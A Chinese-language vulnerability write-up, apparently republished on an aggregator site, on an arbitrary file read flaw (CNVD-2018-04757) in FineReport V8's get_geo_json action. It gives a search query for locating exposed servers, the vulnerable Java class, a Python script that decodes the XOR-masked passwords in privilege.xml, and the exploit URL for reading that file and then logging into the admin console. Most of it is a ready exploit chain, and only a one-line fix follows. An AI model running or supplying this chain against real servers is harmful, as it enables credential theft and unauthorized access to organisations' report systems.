帆软报表 V8 get_geo_json 任意文件读取漏洞

Posted 天猫来下凡

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了帆软报表 V8 get_geo_json 任意文件读取漏洞相关的知识,希望对你有一定的参考价值。

帆软报表 V8 get_geo_json 任意文件读取漏洞 CNVD-2018-04757

1.漏洞介绍

FineReport报表软件是一款纯Java编写的,集数据展示(报表)和数据录入(表单)功能于一身的企业级web报表工具。

FineReport v8.0版本存在任意文件读取漏洞,攻击者可利用漏洞读取网站任意文件

漏洞影响
FineReport < v8.0

搜索语法

body=“isSupportForgetPwd”

出现漏洞的文件为 fr-applet-8.0.jar

package com.fr.chart.web;

import com.fr.base.FRContext;
import com.fr.general.IOUtils;
import com.fr.stable.CodeUtils;
import com.fr.web.core.ActionNoSessionCMD;
import com.fr.web.utils.WebUtils;
import java.io.InputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class ChartGetFileContentAction extends ActionNoSessionCMD 
    public ChartGetFileContentAction() 
    

    public void actionCMD(HttpServletRequest var1, HttpServletResponse var2, String var3) throws Exception 
        String var4 = CodeUtils.cjkDecode(WebUtils.getHTTPRequestParameter(var1, "resourcepath"));
        if (!WebUtils.invalidResourcePath(var4)) 
            InputStream var5 = FRContext.getCurrentEnv().readResource(var4);
            String var6 = IOUtils.inputStream2String(var5);
            var6 = var6.replace('\\ufeff', ' ');
            WebUtils.printAsString(var2, var6);
        
    

    public String getCMD() 
        return "get_geo_json";
    


使用request将文件名传入 调用cjkDecode函数解密文件名

使用invalidResourcePath函数校验文件是否存在

最后使用readResource函数读取文件传输到浏览器上 默认目录为resources

其中的privilege.xml里面存储了后台的用户名密码

使用python写出的解密代码为

cipher = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' #密文
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] #掩码
Password = ""
cipher = cipher[3:] #截断三位后
for i in range(int(len(cipher) / 4)):
    c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
    c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
    Password = Password + chr(c2)
print (Password)

2.漏洞利用

访问:

http://xxx.xxx.com:8081/WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml

使用python解密

可以看到用户密码都是admin

访问系统进行登录

http://xxx.xxx.com:8081/WebReport/ReportServer?op=fs

3.漏洞修复

升级到最新版本

以上是关于帆软报表 V8 get_geo_json 任意文件读取漏洞的主要内容,如果未能解决你的问题,请参考以下文章

在帆软报表中怎么设置区间控件

FineReport企业日常问题 3.0帆软Finereport跨大版本打开设计文件(包括cpt,frm等)

FineReport企业日常问题 3.0帆软Finereport跨大版本打开设计文件(包括cpt,frm等)

FineReport企业日常问题 3.0帆软Finereport跨大版本打开设计文件(包括cpt,frm等)

SpringBoot集成帆软报表(一)

帆软报表怎么连接几个不同的excel表格